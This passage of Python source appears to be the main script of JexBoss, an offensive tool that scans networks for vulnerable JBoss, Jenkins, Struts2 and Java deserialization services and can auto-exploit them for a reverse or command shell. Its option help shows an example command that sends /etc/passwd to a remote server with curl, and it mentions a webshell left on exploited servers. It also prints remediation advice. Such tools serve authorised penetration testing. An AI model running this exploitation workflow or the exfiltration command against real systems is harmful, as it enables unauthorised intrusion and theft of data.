msg_confirm = " If successful, this operation will provide a reverse shell. You must enter the\n" \
" IP address and Port of your listening server.\n"
else:
msg_confirm = " If successful, this operation will provide a simple command shell to execute \n" \
" commands on the server..\n"
print_and_flush(BLUE + "\n\n * Do you want to try to run an automated exploitation via \"" +
BOLD + vector + NORMAL + "\" ?\n" +
msg_confirm +
RED + " Continue only if you have permission!" + ENDC)
if not sys.stdout.isatty():
print_and_flush(" yes/NO? ", same_line=True)
pick = input().lower() if version_info[0] >= 3 else raw_input().lower()
else:
pick = input(" yes/NO? ").lower() if version_info[0] >= 3 else raw_input(" yes/NO? ").lower()
if pick == "yes":
auto_exploit(url, vector)
# check vulnerabilities for auto scan mode
elif gl_args.mode == 'auto-scan':
file_results = open(gl_args.results, 'w')
file_results.write("JexBoss Scan Mode Report\n\n")
for ip in gl_args.network.hosts():
if gl_interrupted: break
for port in gl_args.ports.split(","):
if check_connectivity(ip, port):
url = "{0}:{1}".format(ip,port)
ip_results = check_vul(url)
for key in ip_results.keys():
if ip_results[key] == 200 or ip_results[key] == 500:
vulnerables = True
if gl_args.auto_exploit:
result_exploit = auto_exploit(url, key)
if result_exploit:
file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key))
else:
file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key))
else:
file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key))
file_results.flush()
else:
print_and_flush (RED+"\n * Host %s:%s does not respond."% (ip,port)+ENDC)
file_results.close()
# check vulnerabilities for file scan mode
elif gl_args.mode == 'file-scan':
file_results = open(gl_args.out, 'w')
file_results.write("JexBoss Scan Mode Report\n\n")
file_input = open(gl_args.file, 'r')
for url in file_input.readlines():
if gl_interrupted: break
url = url.strip()
ip = str(parse_url(url)[2])
port = parse_url(url)[3] if parse_url(url)[3] != None else 80
if check_connectivity(ip, port):
url_results = check_vul(url)
for key in url_results.keys():
if url_results[key] == 200 or url_results[key] == 500:
vulnerables = True
if gl_args.auto_exploit:
result_exploit = auto_exploit(url, key)
if result_exploit:
file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key))
else:
file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key))
else:
file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key))
file_results.flush()
else:
print_and_flush (RED + "\n * Host %s:%s does not respond." % (ip, port) + ENDC)
file_results.close()
# resume results
if vulnerables:
banner()
print_and_flush(RED + BOLD+" Results: potentially compromised server!" + ENDC)
if gl_args.mode == 'file-scan':
print_and_flush(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.out) + ENDC)
elif gl_args.mode == 'auto-scan':
print_and_flush(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.results) + ENDC)
print_and_flush(GREEN + " ---------------------------------------------------------------------------------\n"
+BOLD+ " Recommendations: \n" +ENDC+
GREEN+ " - Remove web consoles and services that are not used, eg:\n"
" $ rm web-console.war http-invoker.sar jmx-console.war jmx-invoker-adaptor-server.sar admin-console.war\n"
" - Use a reverse proxy (eg. nginx, apache, F5)\n"
" - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"
" - Search vestiges of exploitation within the directories \"deploy\" and \"management\".\n"
" - Do NOT TRUST serialized objects received from the user\n"
" - If possible, stop using serialized objects as input!\n"
" - If you need to work with serialization, consider migrating to the Gson lib.\n"
" - Use a strict whitelist with Look-ahead[3] before deserialization\n"
" - For a quick (but not definitive) remediation for the viewState input, store the state \n"
" of the view components on the server (this will increase the heap memory consumption): \n"
" In web.xml, change the \"client\" parameter to \"server\" on STATE_SAVING_METHOD.\n"
" - Upgrade Apache Struts: https://cwiki.apache.org/confluence/display/WW/S2-045\n"
"\n References:\n"
" [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"
" [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"
" [3] - https://www.ibm.com/developerworks/library/se-lookahead/\n"
" [4] - https://www.owasp.org/index.php/Deserialization_of_untrusted_data\n"
"\n"
" - If possible, discard this server!\n"
" ---------------------------------------------------------------------------------")
else:
print_and_flush(GREEN + "\n\n * Results: \n" +
" The server is not vulnerable to bugs tested ... :D\n" + ENDC)
# infos
print_and_flush(ENDC + " * Info: review, suggestions, updates, etc: \n" +
" https://github.com/joaomatosf/jexboss\n")
print_and_flush(GREEN + BOLD + " * DONATE: " + ENDC + "Please consider making a donation to help improve this tool,\n" +
GREEN + BOLD + " * Bitcoin Address: " + ENDC + " 14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C \n" )
print_and_flush(ENDC)
#banner()
if __name__ == "__main__":
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
#description="JexBoss v%s: JBoss verify and EXploitation Tool" %__version,
description=textwrap.dedent(RED1 +
"\n # --- JexBoss: Jboss verify and EXploitation Tool --- #\n"
" | And others Java Deserialization Vulnerabilities | \n"
" | |\n"
" | @author: João Filho Matos Figueiredo |\n"
" | @contact: joaomatosf@gmail.com |\n"
" | |\n"
" | @updates: https://github.com/joaomatosf/jexboss |\n"
" #______________________________________________________#\n"
" @version: " + __version__ + "\n" + help_usage()),
epilog="",
prog="JexBoss"
)
group_standalone = parser.add_argument_group('Standalone mode')
group_advanced = parser.add_argument_group('Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER)')
group_auto_scan = parser.add_argument_group('Auto scan mode')
group_file_scan = parser.add_argument_group('File scan mode')
# optional parameters ---------------------------------------------------------------------------------------
parser.add_argument('--version', action='version', version='%(prog)s ' + __version__)
parser.add_argument("--auto-exploit", "-A", help="Send exploit code automatically (USE ONLY IF YOU HAVE PERMISSION!!!)",
action='store_true')
parser.add_argument("--disable-check-updates", "-D", help="Disable two updates checks: 1) Check for updates "
"performed by the webshell in exploited server at http://webshell.jexboss.net/jsp_version.txt and 2) check for updates "
"performed by the jexboss client at http://joaomatosf.com/rnp/releases.txt",
action='store_true')
parser.add_argument('-mode', help="Operation mode (DEFAULT: standalone)", choices=['standalone', 'auto-scan', 'file-scan'], default='standalone')
parser.add_argument("--app-unserialize", "-j",
help="Check for java unserialization vulnerabilities in HTTP parameters (eg. javax.faces.ViewState, "
"oldFormData, etc)", action='store_true')
parser.add_argument("--servlet-unserialize", "-l",
help="Check for java unserialization vulnerabilities in Servlets (like Invoker interfaces)",
action='store_true')
parser.add_argument("--jboss", help="Check only for JBOSS vectors.", action='store_true')
parser.add_argument("--jenkins", help="Check only for Jenkins CLI vector (CVE-2015-5317).", action='store_true')
parser.add_argument("--struts2", help="Check only for Struts2 Jakarta Multipart parser (CVE-2017-5638).", action='store_true')
parser.add_argument("--jmxtomcat", help="Check JMX JmxRemoteLifecycleListener in Tomcat (CVE-2016-8735 and "
"CVE-2016-3427). OBS: Will not be checked by default.", action='store_true')
parser.add_argument('--proxy', "-P", help="Use a http proxy to connect to the target URL (eg. -P http://192.168.0.1:3128)", )
parser.add_argument('--proxy-cred', "-L", help="Proxy authentication credentials (eg -L name:password)", metavar='LOGIN:PASS')
parser.add_argument('--jboss-login', "-J", help="JBoss login and password for exploit admin-console in JBoss 5 and JBoss 6 "
"(default: admin:admin)", metavar='LOGIN:PASS', default='admin:admin')
parser.add_argument('--timeout', help="Seconds to wait before timeout connection (default 3)", default=3, type=int)
parser.add_argument('--cookies', help="Specify cookies for Struts 2 Exploit. Use this to test features that require authentication. "
"Format: \"NAME1=VALUE1; NAME2=VALUE2\" (eg. --cookie \"JSESSIONID=24517D9075136F202DCE20E9C89D424D\""
, type=str, metavar='NAME=VALUE')
#parser.add_argument('--retries', help="Retries when the connection timeouts (default 3)", default=3, type=int)
# advanced parameters ---------------------------------------------------------------------------------------
group_advanced.add_argument("--reverse-host", "-r", help="Remote host address and port for reverse shell when exploiting "
"Java Deserialization Vulnerabilities in application layer "
"(for now, working only against *nix systems)"
"(eg. 192.168.0.10:1331)", type=str, metavar='RHOST:RPORT')
group_advanced.add_argument("--cmd", "-x",
help="Send specific command to run on target (eg. curl -d @/etc/passwd http://your_server)"
, type=str, metavar='CMD')
group_advanced.add_argument("--dns", help="Specifies the dns query for use with \"dns\" Gadget", type=str, metavar='URL')
group_advanced.add_argument("--windows", "-w", help="Specifies that the commands are for rWINDOWS System$ (cmd.exe)",
action='store_true')
group_advanced.add_argument("--post-parameter", "-H", help="Specify the parameter to find and inject serialized objects into it."
" (egs. -H javax.faces.ViewState or -H oldFormData (<- Hi PayPal =X) or others)"
" (DEFAULT: javax.faces.ViewState)",
default='javax.faces.ViewState', metavar='PARAMETER')
group_advanced.add_argument("--show-payload", "-t", help="Print the generated payload.",
action='store_true')
group_advanced.add_argument("--gadget", help="Specify the type of Gadget to generate the payload automatically."
" (DEFAULT: commons-collections3.1 or groovy1 for JenKins)",
choices=['commons-collections3.1', 'commons-collections4.0', 'jdk7u21', 'jdk8u20', 'groovy1', 'dns'],
default='commons-collections3.1')
group_advanced.add_argument("--load-gadget", help="Provide your own gadget from file (a java serialized object in RAW mode)",
metavar='FILENAME')
group_advanced.add_argument("--force", "-F",
help="Force send java serialized gadgets to URL informed in -u parameter. This will "
"send the payload in multiple formats (eg. RAW, GZIPED and BASE64) and with "
"different Content-Types.",action='store_true')
# required parameters ---------------------------------------------------------------------------------------
group_standalone.add_argument("-host", "-u", help="Host address to be checked (eg. -u http://192.168.0.10:8080)",
type=str)
# scan's mode parameters ---------------------------------------------------------------------------------------
group_auto_scan.add_argument("-network", help="Network to be checked in CIDR format (eg. 10.0.0.0/8)",
type=network_args, default='192.168.0.0/24')
group_auto_scan.add_argument("-ports", help="List of ports separated by commas to be checked for each host "
"(eg. 8080,8443,8888,80,443)", type=str, default='8080,80')
group_auto_scan.add_argument("-results", help="File name to store the auto scan results", type=str,
metavar='FILENAME', default='jexboss_auto_scan_results.log')
group_file_scan.add_argument("-file", help="Filename with host list to be scanned (one host per line)",
type=str, metavar='FILENAME_HOSTS')
group_file_scan.add_argument("-out", help="File name to store the file scan results", type=str,
metavar='FILENAME_RESULTS', default='jexboss_file_scan_results.log')
gl_args = parser.parse_args()
if (gl_args.mode == 'standalone' and gl_args.host is None) or \
(gl_args.mode == 'file-scan' and gl_args.file is None) or \
(gl_args.gadget == 'dns' and gl_args.dns is None):
banner()
print (help_usage())
exit(0)
else:
configure_http_pool()
_updates.set_http_pool(gl_http_pool)
_exploits.set_http_pool(gl_http_pool)
banner()
if gl_args.proxy and not is_proxy_ok():
exit(1)
if gl_args.gadget == 'dns': gl_args.cmd = gl_args.dns
main()
if __name__ == '__testing__':
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": get_random_user_agent()}
timeout = Timeout(connect=1.0, read=3.0)
gl_http_pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
_exploits.set_http_pool(gl_http_pool)